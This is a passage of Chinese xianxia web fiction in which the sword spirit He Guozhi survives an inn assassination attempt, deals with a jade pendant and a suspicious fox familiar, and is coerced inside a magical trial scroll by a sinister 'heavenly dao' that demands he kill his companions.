贺果知灵力几乎耗干,没灵力御寒,贺果知太冷了。他正准备大口去吃霍闻星的灵力,这个披风落下来。贺果知连忙把披风裹上,也不知道他是怎么裹的,愣是把自己全都缩进去,坐在披风上面,不让自己沾到雪。然后,改为小口去吃霍闻星的灵力。 披风里很暖和,风雪隔绝在外面。 贺果知把兜帽也戴上。 披风是雪色的,带了一圈绒绒的毛领,贺果知整个缩在里面,像一个圆圆的雪团子,只有几缕黑发顺着兜帽的边缘溜下来。 贺果知忙着给自己裹披风,裹好了才发觉宗嚣一直没说话。 贺果知悄咪咪抬头。 宗嚣垂下眼,淡漠注视他。 贺果知心虚:“师尊……” “知道为什么输吗?”宗嚣问。 贺果知复盘,小声:“因为我以为自己的计划成功了,剑气会劈空,不会劈到我的身上。” “以后不会放松警惕的。”贺果知说。 宗嚣:“若是你没有放松警惕,露出破绽,第二道剑气,你可以躲开。” 贺果知乖巧:“记住了。” “伸手。”宗嚣道。 披风边缘的绒绒间,伸出一只白皙的小手。 宗嚣并指,在他的掌心上一划,留下两道剑气。 贺果知:“多谢师尊。” 太冷了。 宗嚣画完,贺果知就把手缩回披风里面——比宗嚣收回手的速度还快。 宗嚣睨了他一眼,没说什么。 “下山吧。”宗嚣留下这句话,转身走了。 当天晚上,贺果知睡得很沉。 一个原因他一直跑实在太累了,另外一个原因是贺果知精神放松下来,他担心的事情没有发生,宗嚣没发现他的三个徒弟对他的感情,自然也不会产生除掉他的想法。 真是太好了。 又是苟住的一天! 十日后,贺果知和霍闻星他们前往孤云城。 因为各宗门弟子参与试炼的“天榜”,在孤云城的仙盟手中。 仙盟由仙洲各大仙门,以及修仙世家一起组建,为的是平衡各方势力。仙盟的盟主,则是六仙门和八世家轮流担任,三年一换。今年的仙盟盟主,是药宗的宗主。 而孤云城,位于仙洲的腹心之处。 贺果知乘仙舟过去的,一路上看看风景。仙舟在那座城镇停下,贺果知和霍闻星他们下去逛一逛,买当地的特色美食吃。 三日后,仙舟在孤云城外停下。 孤云城是一座大城,在城门处看,比今朝城大了数倍不止。 仙盟建立在此,各宗门在这里有分部,同时还有三大修仙世家的本家在此,孤云城可以说是全仙洲最为繁华的城池了。 天榜大比在即,来到孤云城的修士很多,无论乘舟还是马车等,统一在门外停下来,盘查后才能进去。 排队接受检查的这段时间,贺果知回忆了天榜相关的剧情。 所谓天榜,其实是一个巨大的画卷,又名“山河卷”,每二十年开启一次。每次开启,都会将当世为祸一方的东西抓进去。不止是妖修、鬼修、仙修,民间的蝗灾、水患,这些也会被山河卷收进去。修士们进入,除掉这些祸患。 关于天榜大比这段剧情,贺果知所知的差不多是这些。 这一段剧情,贺果知看书时,光顾着看秦飞情在大比结束后,把霍闻星劫走。 当初看的时候,贺果知还在找糖。 秦飞情把霍闻星劫走,还顺道假造了霍闻星已死的现场。不明真相的攻君们,很是痛苦自责,有一种“寡夫感”。 实际上,霍闻星被秦飞情带到了魔宫里面。 天榜大比这么大的事,以秦飞情的性格,不可能不掺和进来。 想到魔尊秦飞情,贺果知当然害怕。不过如今他有宗嚣的两道剑气,贺果知确信,秦飞情就算找到他,也不会占到多少好处。 在孤云城的三大世家,其中一家便是裴连卿的裴家。 他们刚进入城中,裴家中人早早等候在一旁。 “果汁。” 孤云城繁华,修士云集,贺果知正觉得眼睛不够看,忽然听到裴连卿喊他。 裴连卿过来,将一个玉佩交给他:“凭这个,可以自由出入裴家。” “收好了。”裴连卿莞尔。 没给贺果知拒绝的机会,跟随裴家人离开。 裴连卿登上裴家的马车。 天榜大比,剑宗各峰均有弟子参加。 贺果知则和霍闻星他们一起,去往剑宗在城中包下的客栈。 第32章 第32章 深夜, 客栈上房内一片昏暗,月光穿透窗子洒进来。 刻印在窗子上的阵法铭文亮起,突然熄灭, 刻痕变得斑驳。这时一只手推开窗子,一名黑衣人从窗子翻进来。 期间一点动静都没发出。 床榻出, 床帐垂下, 以修士的耳力,可以听到床帐后轻微匀称的呼吸。 黑衣人手中皆持匕首,细看之下, 匕首的边缘泛着斑斓的光泽, 显然是淬了毒。 黑衣人悄然靠近, 掀开床帐,悍然刺下—— 铛! 金属碰撞之声, 匕首被一柄银白长剑挡开, 黑衣人被踹出去,倒退数步。 白衣剑修神色淡淡, 持剑立在床榻前。 那黑衣人看清之后,目露震惊, 视线从白衣剑修身上, 扫向床榻。床榻上的确躺着一个人, 背对着他们, 乌色柔顺的长发铺下来。他们的动静, 显然让他醒过来…… 森寒的剑光乍开。 黑衣人没能继续看。 贺果知醒了。 确切说是在霍闻星使用本命剑时醒过来的。 一睁开眼,看到霍闻星立于床榻前,他的面前多了一个黑衣人。也是这时, 还有两名黑衣人从两边的窗户翻进来。 客栈的上房宽敞舒适,但容四人交手还是太勉强了, 顷刻间房内保护的阵法被摧毁。 贺果知睡得有点懵,还很困。看到这一幕,立刻清醒了,准备飘回剑里面。 “不必。”霍闻星传音。 贺果知于是在床上坐好。 贺果知能看出来,这三个黑衣人加在一起,也不是霍闻星的对手,他们狼狈从窗子逃出去。 “哈欠。” 贺果知听到声音,抬头看到程相烽不知什么时候出现,倚着床架,眉眼带着些许困倦。 见到贺果知注意到他,程相烽侧过来一眼:“从路数看,那几个人是邪修。他们的目标,应该是二师弟。” 贺果知回忆他看过的原著,没找到刺杀的相关剧情,应该是被他跳过去了。 “因为……”程相烽低下眼看贺果知,在床榻旁蹲下来,帮他把顺着床边缓缓往下滑的被子捞上来,“有里外两间,在那几人看来,睡在里间的应当是二师弟。所以,一开始他们就是冲二师弟来的。” 贺果知顺着霍闻星追出去的方向看了眼:“那老霍会有危险吗?” 程相烽扯了下唇角:“不会,这几个喽喽,杀他们和玩一样。” 贺果知哦了一声,收回视线。 然后看到,程相烽捞上来被子后,这么蹲着看他,没动。 明明床榻这的空间不小,可还是给了贺果知被笼罩住,无处可去之感。 “看什么?”贺果知谨慎地问。 看什么? 程相烽食指碾了一下佩剑的剑柄。 青年刚睡醒,乖乖裹着被子在床上坐好。只穿雪白的单薄的里衣,乌色长发顺着肩头溜下来,眼尾也耷拉着,看起来还困着。 程相烽懒洋洋笑了一下,正欲说什么,忽然客栈外面乍然亮起,像是半夜升腾起的烟花。那个瞬间灵力波动,但很快沉寂下去。 贺果知顿了一下,跳下床,跑到窗边去看。 程相烽微微蹙了一下眉,拎上木屐,跟在贺果知后面。 一轮明月下,白衣剑修踏空而立,深灰色的尘埃飘散在半空。只有白衣剑修,不见那三个黑衣人。 贺果知看到,霍闻星左手上有几道血痕,没有留什么血,伤口以肉眼可见的速度愈合。 这么大的动静,城内众多修士早已注意到。有人开窗看望,有人暗中窥视。 “这是……?” 贺果知正疑惑着,忽然被按住腰,他一屁股坐到程相烽的肩膀上。程相烽单手揽着他,让他坐好,另一只手握住细瘦的脚踝,给他把木屐穿上。 “两个人自爆了,有一个趁着自爆逃了。”程相烽给贺果知穿木屐,若有所思,“有意思。” 这个姿势,贺果知可以清晰感受到程相烽肩骨的坚硬,硌着他,存在鲜明,但又肌肉紧实,所以很平稳。 被这么按着穿木屐,贺果知瞬间不好意思,几乎跳起来离开这里。 “不用这样,我自己会穿。” 程相烽不以为意,盯着他,勾了下唇:“有人这么伺候你,不舒服吗?” 这哪里是舒服不舒服的问题! 贺果知才没有被程相烽带偏。 程相烽就是有这个本事,几乎话让贺果知生气,贺果知都不困了,想着怎么和程相烽分辨清楚。 这时,霍闻星从窗边翻进来,落地后反手关上窗。 转身对贺果知说:“没事。” 贺果知穿好木屐,程相烽也不蹲着了,他起身,看了眼霍闻星恢复如初的手,问:“为了剑骨道体来的?” “去那边。”霍闻星把剑交给贺果知。 贺果知抱着剑,回到床边坐好。 两个剑修,一边说着话,一边把打斗后凌乱的屋内复原。程相烽站在窗边,看了看,手指抹了一下,坏掉的铭文复原如新。霍闻星把剑给贺果知后,观察房内的阵法,把毁掉的阵法补全,屋内的众多摆件和刷新一下,重新恢复如初。 贺果知看着这很仙侠的一幕。 这是孤云城最好的客栈之一,孤云城中又都是修士,虽说城中安定,但偶尔会有比斗之事。像他们住的这种客栈,还有城中不少楼阁,都刻有阵法。意外损毁,用阵法恢复即可。除非连阵法都完全损坏,那就要赔偿毁掉之物了。 “不像。”霍闻星回答程相烽的问题。 贺果知听着他们的对话,把他看过的小说剧情想了一遍,没想到与今天这件事相关的剧情。 程相烽说黑衣人是为霍闻星而来,霍闻星和程相烽,都是被宗嚣捡回去的孤儿。不同的是,书中明确写程相烽的父母死于战乱,宗嚣是从一座死城中把程相烽捡回去的。 小说贺果知不仅跳着看的,而且他还没有看到结局。 复原房间,贺果知重新躺下睡觉。 翌日,裴家管家带人来接他们,说是裴连卿在府内设宴,款待同门师兄弟。 不止贺果知他们,剑宗弟子,以及随行长老都被邀请前往裴家。 孤云城面积广大,屋舍俨然,长街小巷交错纵横,街上人来人往。裴家,位于孤云城之北,府门十分气派,内里则是山水园林的天然景致,亭台楼阁错落其间,与山水浑然一体。 说是宴请他们,可是裴连卿一上午都不见人影。 等到中午,裴连卿才出现,在府内灼灼楼设宴。 世家底蕴深厚,裴家的厨师以厨艺入道,他所做的灵食,自含道韵,可以助修士感悟,就算没有感悟,也可以疏通经脉。故而这样的饭食吃下去,四肢都像是浸在泉水中,很是舒服。 吃完饭后,贺果知去厢房休息。 他在席间喝了一点酒,没喝醉,但困意强烈,抱着被子很快睡过去。 贺果知醒来后,感受了一下,霍闻星在距离他比较远的距离。 他看到桌上霍闻星给他的留下的字条,有了昨晚邪修的线索,他和程相烽追查去了,他还在睡,便没有叫他。 贺果知抻了一个拦腰,推开门来到屋外。 这里距离灼灼楼不远,庭院内外都有大片的桃花,香甜馥郁。 院子里没有其他人,贺果知在走廊坐凳上坐下来,趴在栏杆上。 刚睡醒,他的思绪转得很慢。 风一吹,纷纷扬扬的桃花落下来。 好眼熟啊…… 贺果知想。 这个时候,一个穿着劲装,眉心点妆,不过十五六的少女翻墙而入。 贺果知想起来了。 这位是裴家的五小姐,她的父亲是裴连卿的大伯,她不喜严厉的父亲,更不喜欢世家女子规训的那一套,刚好和父亲吵了一架,一气之下跑走了。 她在这个院子中,遇到霍闻星。 看到霍闻星腰上佩戴的玉佩。 当时裴连卿把玉佩赠给霍闻星时,只道是寻常玉佩,一个出入的凭证而已。从裴五小姐这里,霍闻星知道,这玉佩是裴家家传之物,很是贵重。 未曾严明,但那个玉佩,是裴连卿给未来道侣的。 后面有人追来,霍闻星给裴五小姐做遮掩,让那些人跑错了方向。 回来的裴连卿,正好看到心上人面无表情故意指错路的那一幕。 正要说什么,这时霍闻星将玉佩解下来,还给裴连卿。 这是原著中的一个虐点,裴连卿握着玉佩,站在桃花树下,神情落寞,霍闻星转身离开。 裴连卿不知道,霍闻星修无情道,他的心绪不应该因此波动,但他在将玉佩还给裴连卿时,远没有表现出来的平静。虽然在太岁秘境有一夜混乱,但霍闻星并未动心,在他看来,那是各取所需。 原著对这段的描述又虐又美,看得贺果知眼泪汪汪的。 贺果知记得这段剧情,他将玉佩系在腰上。 他知道玉佩很重要,这块玉佩,算是暂时放在他这里。不佩戴的时候,贺果知放到霍闻星的袖子里了——霍闻星的袖子是贺果知认为最安全的地方之一。同时,还用了一个法术,贺果知想取可以随时取走。 这样裴五小姐会告诉他玉佩的含义,那他把贵重的玉佩还给裴连卿,也是理所应当。 骑在墙头的裴五小姐,朝远处看了一眼,翻墙下来,说出和书中一眼的话:“你是?” 她看到贺果知腰上的玉佩。 “啊,我未过门的嫂嫂!” 贺果知听到这样的话,脸很热:“不是,为什么这么说?” 有心理准备,然而听到裴五小姐这么说,还是有点尴尬,怪不好意思的。 裴五小姐听愣了,指了指玉佩,说了和贺果知看的小说中一样的解释,又说了句书中没有的话。 “你要不是我大哥的人,我一定让你做我夫君。” “未来嫂嫂,你长得真好看。” 少女比贺果知低一点,背着手,明亮的眼眸弯成月牙。 这个时候,她察觉什么,说:“我得走了,未来嫂嫂再见!未来嫂嫂你可要帮我啊!” 说完跑了。 贺果知摸了摸自己的脸,被她一口一个未来嫂嫂叫得好烫啊。裴家护院追来,贺果知用手贴发烫的脸,指了一个错误的方向。 察觉一道视线落在他身上,抬头,看到从院门进来的裴连卿。 裴连卿没同在剑宗时穿着剑修校服,换上月白锦缎华裳,温润清贵。 裴连卿长眸微弯,带着笑意,穿过庭院来到贺果知面前:“脸怎么这么红,怎么了?” “没什么……”贺果知说。 贺果知听到裴连卿语气中的笑意,裴连卿的心情应当是不错。 他揪着玉佩,把玉佩还给裴连卿的话,忽然说不出口。因为书中的裴连卿,在玉佩被还回来后很落寞。而他眼前的,一定也会。 贺果知收到玉佩的时候,知道玉佩太贵重,所以一心想还回去,忽略了裴连卿的难过,此时想起来,变得无法抉择。 贺果知泪了。 后悔了。 要是没戴,那裴五小姐不说,他还能装作不知道,裴连卿也不用难过。 更要命的是,贺果知感受到裴连卿落在他身上的视线,恐怕他不说,裴连卿也从他的表情中看出来了。 贺果知心里泪汪汪的。 “连卿,我……” 裴连卿笑了,弯腰用手捏了一下他的脸:“没要你现在抉择,放在你那里,有了抉择再处置它。” “不就可以了。” 贺果知抬头,不知道第几次说:“连卿,你怎么这么好。” 裴连卿轻笑,拉他起来:“站着别动。” 贺果知:“?” 贺果知看到,裴连卿一直背在身后的手中,有一枝桃花。他将贺果知用来束发的发带拆下来,缠到手腕上,然后将桃花枝当作发簪,重新给贺果知束发。 半束半散,束起的那部分,用桃花枝固定好。 一身白衣,乌发,发间的桃花是唯一的艳色,灼灼生辉。 裴连卿的眸光暗了几分。 贺果知自己看不到,用手摸了摸。 这时,一道散漫的嗓音传来。 说话之人似笑非笑:“三师弟,谢谢你的消息?” 贺果知扭头,看到从院门进入的程相烽和霍闻星。 裴连卿轻笑:“不客气。” “什么消息?”贺果知没听懂他们的对话。 “昨天晚上刺杀未果的邪修,自爆的两个死了,一个逃走。那人逃到哪里的消息,是师弟给我们的。”程相烽解释,“所以,我们当然追去看了。” 也是他们追去了,回来看到裴连卿给贺果知挽发的这一幕。 裴连卿神色如常:“审出什么了?” 霍闻星睨过来一眼,冷淡道:“跑了。” 裴连卿眸中滑过意外:“我的消息,你们二人去,人跑了?” 程相烽:“是。” 贺果知能感受到,师兄弟三人的气氛有些沉郁。 能从他们手下脱逃,背后之人该有怎样是实力,目的又是什么? 离开天榜开启还有几日,这几日贺果知和霍闻星、程相烽一起,把孤云城逛了逛。新买的话本太好看了,贺果知熬夜看话本,天快亮了才睡过去。 中午谢振涛送午饭来,告诉他裴连卿在裴家,程相烽与朋友相约,霍闻星追查邪修的事情去了。 贺果知点头,问谢振涛:“谢师兄,这几天你在忙什么,没见到你。” 谢振涛:“出发前接了几个附近的宗门任务,顺道完成一下。” 下午贺果知呆在客栈,哪儿也没去,继续看话本。 谢振涛在隔壁。 傍晚,贺果知准备和谢振涛一起去楼下大堂吃饭。 打开门,贺果知的目光一凝。 狐狸。 活的。 毛茸茸。 软软的。 还有大尾巴。 唔。 好可爱! 走廊一侧的窗子开着,日暮的光从窗子这里投射进来,照在狐狸的身上。 毛茸茸的一团,四个爪爪端坐着,大尾巴圈了一圈。它眯着眼睛,像是在打盹。皮毛蓬松柔软,火红色。 这时,狐狸睁开眼,四个爪爪按到地上,抻了抻四肢,往后倒了几步,压低身形,跳起来。 贺果知微微睁大眼。 下意识伸手接狐狸。 狐狸没跳到贺果知怀里,它被扼住了命运的后脖颈。 谢振涛拎着狐狸,提起来看,锐利的眼眸,几乎将狐狸看穿。 “哪儿来的?”谢振涛沉声问。 刚才在贺果知面前,乖巧的狐狸一看到谢振涛,四爪扑腾起来。它那样乱扑腾的一爪子,竟然是一道风火双系的法术,谢振涛偏头避开,被狐狸挣脱下去。 狐狸一溜烟跑到贺果知腿边,扒着贺果知的衣摆。 谢振涛眼神微沉,伸手要继续抓。 狐狸刺溜一下,躲到贺果知身后。 谢振涛不笑的时候,看起来还是有点唬人的。但贺果知都和谢振涛这么熟了,也不怕他,反而觉得好笑,平时挺严肃成熟一个人,今天怎么和狐狸置上气了。 他抓着谢振涛手臂的衣裳,不让谢振涛绕过他去找狐狸:“谢师兄,别生气。它大概是谁家的灵宠,跑出来玩的。” 青年嗓音低低的,带着笑。 听这样的声音,就算天大的火气也能减去三分。 谢振涛喉结滚动,轻轻嗯了一声,退开了。 贺果知转身,从地上把这只狐狸抱起来。 手指触碰到狐狸火红柔软的毛毛,贺果知眼眸都亮了亮。 好软。 手感真好。 谢振涛的目光,落在抱起狐狸的青年身上,安静而专注。但当看到狐狸,谢振涛的视线又沉了下去。 这只狐狸很是聪明,可以听懂人说的话,贺果知说什么都有回应。但贺果知问到它哪儿来的,狐狸又开始装傻,然后把它白色毛茸茸的肚皮摊开。 问不出来,贺果知带着狐狸和程相烽一起去吃饭。 狐狸本来是想趴到贺果知的腿上,但程相烽不允许,最后贺果知把狐狸抱到他旁边的位置。 吃到一半,趴在座位上的狐狸突然站起来,欲盖弥彰地躲到贺果知身后。 但注定是徒劳。 进入客栈的修士,看向他们这边,随后径直走过来。 这名修士一身兽宗的校服,一双圆润的杏眼,唇红齿白的。 狐狸见躲不过,扭头就跑,被修士一个法术定在原地。 修士:“跑啊,你跑啊,这么嫌弃我这个主人,当初干嘛要和我签订契约?” 狐狸:“嗷。” 修士:“我哪里丑了?你嫌我丑?” 狐狸:“嗷嗷嗷。” 修士看向贺果知,一顿:“呃……” 修士用个法术,把狐狸抓过来,道:“不好意思二位道友,在下是兽宗修士,它是我的契约兽。它跑到你们这里,给二位道友添麻烦了。” 贺果知:“不麻烦,它很可爱。” 谢振涛似是疑惑:“刚才它在说什么?” 闻言,修士挠挠头,看了贺果知一眼,说:“小红说这位道友好看,比我好看多了。” “本来我是不服气的,这只狐狸和我签订契约的时候也说我好看,但刚才看到道友,我发现它所言非虚。” 他直白又坦诚地看向贺果知。 “咳……谢谢……”贺果知被他这种直白的目光看得不好意思。 谢振涛:“既然找到了,请回。我们还要吃饭。” “嗷。”本来在修士怀中狐狸立刻扒拉住贺果知的袖子,大有一副它死都不离开的气势。 修士:“……” 修士:“对不起对不起,我马上带它走。” 修士毫不留情,一个板栗敲在狐狸的头上,狐狸嗷了一嗓子,引来整个大堂修士的侧目。 修士把狐狸抱在怀里,转身连连道歉。 贺果知看着拉扯中的狐狸和修士,小声和谢振涛商量:“相逢就是缘分,不如让他们留下来,和我们一起吃顿饭?” 贺果知这么说,绝对不是因为狐狸太可爱了。 谢振涛微不可察皱眉,侧脸的线条紧绷,眸光很沉。 看来谢振涛不会答应了。 为什么不答应,是因为不喜欢毛茸茸吗? 贺果知正想着,看到谢振涛皱着眉,还是缓缓点了下头,应道:“好。” 修士于是欢天喜地抱着狐狸坐下来,和他们一起吃饭。修士自我介绍,他叫游庆,狐狸叫小红。全名红胜火——狐狸自己取的没名字。 说着又很生气,狐狸从不好好跟着他,见到长得好看的就跟着走。 游庆:“应当是在街上看到贺师兄,然后就惦记上了。” 吃完饭,游庆带着狐狸走了。这次狐狸没有闹腾,大概知道他闹腾也无法改变游庆的主意,冲贺果知嗷嗷叫。 游庆抱着狐狸,翻译:“他说还来找你,让你不要忘了他。” 谢振涛冷冷睨来一眼。 游庆:”……今日已经是添麻烦了,两位师兄放心,我一定会看好他的!” 游庆的年纪比贺果知他们小,所以称呼他们为师兄。 吃完饭,贺果知和谢振涛往楼上走。 此时贺果知,感觉背后有点毛毛的。 怎么说呢,不应该这么形容,可贺果知感觉,平时温顺的金毛,好像生气了,特别生气。 高大的黑衣剑修跟在贺果知后面,贺果知走一步他走一步,身形几乎可以把贺果知笼罩。 贺果知:“谢师兄,你不太喜欢游庆和他的狐狸?” 大多数时候,谢振涛都是沉默的,要是吃到不喜欢的东西,皱个眉也就过去了。贺果知今日才见到,谢振涛如此鲜明的喜恶。 谢振涛沉声:“不知道为什么,那个狐狸,还有游庆给我的感觉,很危险。” 贺果知:“危险?” 贺果知:“他们的修为很高?” 贺果知的感知中,游庆和狐狸都是元婴初期的修为,而谢振涛他们都是化神期了。 “不是。”谢振涛道,“直觉。” 执法峰弟子抓捕问询,见到的人多,所以他们对于见到的人有一种直觉。或许是什么细节触动了他们,但是他们并没有意识到。 说话间,他们来到房门前。 谢振涛拉住贺果知,嘱咐:“他们来找你,身边一定要我们陪着你。” 游庆当时说,还会来找贺果知。 谢振涛不信游庆后面那句,说看好狐狸的话。 我们…… 感觉被当作小孩子…… 贺果知答应:“嗯,我会的。” 翌日,贺果知去书铺,买了新出的话本。 给书铺的掌柜付完钱,掌柜将话本交给他,贺果知拉过霍闻星的袖子,把话本全都放到他的袖子里面。 白衣剑修看起来高冷出尘,无欲无求,但他却由着青年扯着他的袖子,把话本还有杂七杂八的东西,全都放到他的袖子里。 放好,青年眨巴下眼:“走吧。” 白衣剑修嗯了一声,他们一起出门。 待他们走后,书铺外酒楼二层临窗的位置,两名修士看向青年和白衣剑修离开的方向。 其中一人一直看着贺果知的背影,直到转过街角再也看不到:“那是谁?你认识吗。” 他对面那人:“剑宗霍闻星,旁边的是他的剑灵。” 说话之人顿时沉下脸:“那是有些麻烦了。不过没关系,等天榜开启……天榜大比那么危险,每次死在其中的修士不计其数。” 那人也笑:“失去了剑主,美人肯定很伤心,得一起好好疼疼他。” 两人相视一笑,笑容下流至极。 忽然,两人睁大眼,他们腹部的丹府燃烧起来,很快那火焰往全身扩散。 两人发出惨叫,周围人来人往,酒楼内推杯换盏,却无人察觉这里的异样。 杏眼,生得唇红齿白,穿着兽宗校服的修士,倚着楼外的走廊柱子,似笑非笑看着他们。 “走了。”游庆说。 如果贺果知在这,一定能认出这是秦飞情的声音。 窗口跳出一只火红的狐狸。 三日后,天榜大比开启。 第33章 第33章 孤云城外, 专门划出一块山林,山河卷在上空徐徐打开后缓慢落下,与周围的山林虚实重叠, 近乎融为一体。与此同时,山河卷覆盖的范围内, 边缘位置界门拔地而起。 所谓界门, 是山河卷内城池的城门,这些城门的名字,均能在仙洲找到对应。 这是因为山河卷将仙洲各处的灾祸吸纳进来, 而这些灾祸, 被放置在灾祸原有城池或山林的投影中, 是以山河卷内由一块一块的城池与山林组成。山河卷勉强会将城池聚在一处,山林聚在一处, 但也会出现城池里多块山林, 山林中多几个房屋的情况。 每次开启之时,山河卷随机将其内的城池作为出入口。 开启之时, 这些出入口一直存在。 剑宗弟子在其中一个城门的入口前。 贺果知听到旁边有一名修士小声同身边之人交谈。 “这就是仙器,真让人叹为观止, 不过我有一疑问, 还请道友解惑。” “请讲。” “山河卷每次都将灾祸吸纳进去, 放置该地的投影之中, 那千百年来, 山河卷之内地界岂不是极大。” 那可不是。 贺果知在心中回答。 果然,对话的修士给了和贺果知想的一样的答案。 “自然不是,”那人说, “山河卷内容量有限,新吸进来的灾祸, 会将原有灾祸的城池山林投影所覆盖。” “除掉灾祸,那城池和房屋就空了。” 山河卷的相关剧情,贺果知并没有细看,看小说时他跳过去了,对他来说,他更喜欢魔尊把霍闻星抓走的那段剧情。 他知道的如此清楚,是因为这也是宗嚣考校师兄弟三人时所问的问题之一。 仙门圈起的这一块山林,各宗门家族驻守在外,明岗暗哨,守卫森严。 不同入口之处,城门缓缓打开。 修士们进入其中。 霍闻星同剑宗剑修一起进入,进去之后,他身边却空无一人。 这也是山河卷的机制之一,同一城门进入的修士,会传送到附近不同的地方,解决在那里的灾祸。 霍闻星出现在一间铺子里面。 这是一间瓷器铺子,各种精心烧制的瓷器摆放其间。白衣剑修立于其间,并没有回身,剑却已然出鞘,一个剑花反刺。 银白的剑身没入一个鬼修灾祸的身体,鬼修倒在地上,魂体倏然消散。 贺果知在剑里面,有些好奇地看着这一幕。 感觉像是在玩游戏,杀了怪之后,怪物的尸体没一会儿就没有了。虽然都会消散,但山河卷的消散却很快,在须臾之间。 更像游戏的是,玩游戏杀了怪获得经验,杀了灾祸会有灵力进入修士的体内。 这是山河卷给修士们的奖赏。 这些灵力会拓宽他们的经脉、丹府、灵台,在短暂的时间内提升修士的境界。 而提升的这些,则会在修士们从山河卷中出去之后,供修士们吸收,转变为修士们真正的实力。这也是山河卷开启后,修士们趋之若鹜的原因。 这样获得的进境方式,远比正常修炼要快。 这些被吸纳进来的灾祸,身体部位上均会系有一个铁链。铁链一端由实转虚,与山河卷相连。 霍闻星从地上捡起掉落的地图。 第一个杀掉的灾祸,会有一个地图。 在上面会标注,大灾祸的位置,而小的灾祸,并不会标注出来。 霍闻星扫了眼,走到瓷器铺子的柜台旁,将卷轴摊开。 贺果知从剑里面飘出来,立在旁边看,问:“去哪儿?” 霍闻星视线下移,点了一下距离他们最近的灾祸的位置:“五十湖。” 霍闻星御剑过去,途径一些地方会停下来,斩杀其中的灾祸。杀掉这些灾祸,除了灵力,也会掉落法器之类。 贺果知看霍闻星这一路杀过去,来到五十湖前。 五十湖的水面漆黑,一片死寂。 倏然,一条半腐烂的黑蛇跃出水面。 长达百米的身躯,悍然分开湖水。 …… 杀掉这条蛇霍闻星废了些时间。 贺果知在剑里面,很是难受。 “老霍,你快擦一擦我。”贺果知眼泪汪汪说。 因为蛇身上是腐烂发臭的肉,这些碎肉不可避免沾到剑身上。即使黑蛇死去后消散,那种臭味还萦绕在弊端,残留些许尸气。 神色淡漠的白衣剑修似乎是笑了一下,他拿出帕子,仔细擦在剑身之上。 残留的尸气都被抹掉。 贺果知用剑的视角往上看。 霍闻星笑了? 贺果知正在研究薄唇的弧度到底有没有变化。 忽然,他眼前一黑,霍闻星消失了。 五十湖水边,剑修修长的指间还是握住什么的样子——但他的手却空了。 剑修的眼眸,一寸一寸冰冷下去。 …… 银白的长剑从半空中往下掉。 还未落到地上,一个灵体从中飘出来,接住掉落的剑,握入手中。 一息之间,贺果知已经将法术套到他自己的身上。 他能这么快,是宗嚣用剑气劈出来的。 套上的一瞬,贺果知感受到了强烈的不适。那种不适很难形容,像是一种互斥。 没等他想明白这是怎么回事,套上去的法术全部碎裂。 贺果知有一种浑身暴露在危险中的错觉,同时,没有声音,血色的文字浮现在他眼前。 【可憎天道?】 这行字浮现出来,贺果知的危机感更重。 此时他身处在一个极尽奢华的庭院之中,显然是某世家豪族别院山庄。 危机感压在贺果知心头。 同时一种来自四面八方的注视落在贺果知身上。 诡异的是,明明是来自各处的注视,却能明确给贺果知这是一个东西在看他的感觉。 贺果知不应该这么回答,但那种危机感却让他清晰感受到,他应该做出怎样的回答。 “是。” 【可愿重塑天道?】 “是。” 【善】 【天道惩恶扬善,重塑天道,你可知其意?】 贺果知的心脏在咚咚跳动,几乎要震碎他的耳膜。他握紧了手中的剑。 “知道。” “做一个恶人。” 【善】 【做何恶事?】 贺果知隐约能感觉到霍闻星的存在,但他却感受不到霍闻星到底在哪里。 霍闻星呢? 是不是也是这样? 偷盗、杀人、放火等等皆是恶事。按照问他的这个东西思路,很可能接下来会让贺果知去做这件事。 这个东西虽然近乎“笼罩”着贺果知,却没有办法窥探贺果知在想什么,只是在等待贺果知的回答。而贺果知的回答与它所要的答案不符,它顷刻间会将贺果知抹杀。 贺果知沉默。 【回答】 贺果知思索宗嚣的剑气能不能把这玩意劈死。 贺果知不确定。 穿来之后,贺果知并不修炼,他的境界随着霍闻星的增长而增长,算起来,也是化神期修士。 他能感觉出来,和他对话的东西,也是“天道”。 他该怎么回答? 属实是为难他了。 但血淋淋的文字再次出现在贺果知的眼前。 【回答】 贺果知:“……玩弄几个人的感情?” 情急之下,贺果知说出这个回答。 “并且,将他们作为炉.鼎,杀了他们,以为己用。” 【善】 血字浮现。 贺果知微微松口气。 刚才他说出前半句话,瞬间危机感摄住他的心脏,贺果知补上了后面那句话。 他这么说,实在是问话的东西恶意太明显了。寻常恶事,满足不了他,必然需要杀人才可以。 至于贺果知说出“玩弄几个人”的感情这句话,实在是因为他一直在纠结这个问题。霍闻星他们对他太好了,他感觉自己一直在做坏事,简直就是渣男。作为炉鼎,则是他曾经听谢振涛说过艳鬼的事。 【山河卷关闭前,用你作恶之事,杀了他们,重塑天道,成为天道】 这行血字浮现出来,贺果知明显感受到,他和这个血字之间多了一种联系。 贺果知:“我杀了他们,和重塑天道有什么关系?” 【杀了他们,你可以获得他们死去后原有的,以及从山河卷获得的灵力。你的修为不断提升,直至此间之最,吾将完全臣服于你,助你为天道】 “你是什么?” “道。” 【你为天道,可以做尽恶事】 做尽恶事……? 真奇怪。 贺果知没什么做恶事的想法,但看到这行血字,他却觉得,做恶事…… 似乎也有挺有意思的? 正想着,一个卷轴掉落下来。贺果知接住,这个卷轴和杀掉第一个灾祸掉落的一样。 贺果知展开。 呼吸微滞。 卷轴内也是地图,但上面所标注的更多,分为黑白两种墨点。 在霍闻星的地图上,黑色所代表的是灾祸,那这些白色,应当是进入山河卷的修士。并且,霍闻星的地图上只有较大的墨点,这个地图上却有大有小。贺果知根据他看过的霍闻星所持的地图对比,猜测墨点的大小代表实力强弱。 贺果知询问血字。 血字给他肯定的回答。 血字继续浮现。 【驱灾祸使其强大,再杀之】 贺果知谨慎询问:“你给我这样建议,是因为你‘臣服’于我吗?” 【是】 “驱?”贺果知疑惑。 “灾祸听命于你吗?既然听命,那不如让他们排队站好,我杀了他们。” 贺果知这么说着,心中已经难以形容。 感觉这么说话真的非常反派。 可若是能杀,杀的是灾祸。 【不行】 【可驱,不可杀】 贺果知:“为什么?” 【此间天道仍在】 这些信息对于贺果知实在是太多了,他需要时间来整理思路。血字说的是山河卷关闭之前,并没有给贺果知太过急迫的时间压力。 贺果知始终握着银白长剑,他环顾一圈,看到身后屋门敞开的正厅。 贺果知进去,找个位置坐下来。 “山河卷关闭前,用你作恶之事,杀了他们,重塑天道,成为天道”这句话出现之后,像是血字已经发布任务,告诉贺果知最终目的。在这句话后,那种询问的危机感淡去。 而后面血字对贺果知态度的缓和,应该是和它自己说的一样,它“臣服“于贺果知。但不是完全“臣服”,贺果知所杀修士越多,获得灵力越多,那它会越臣服。 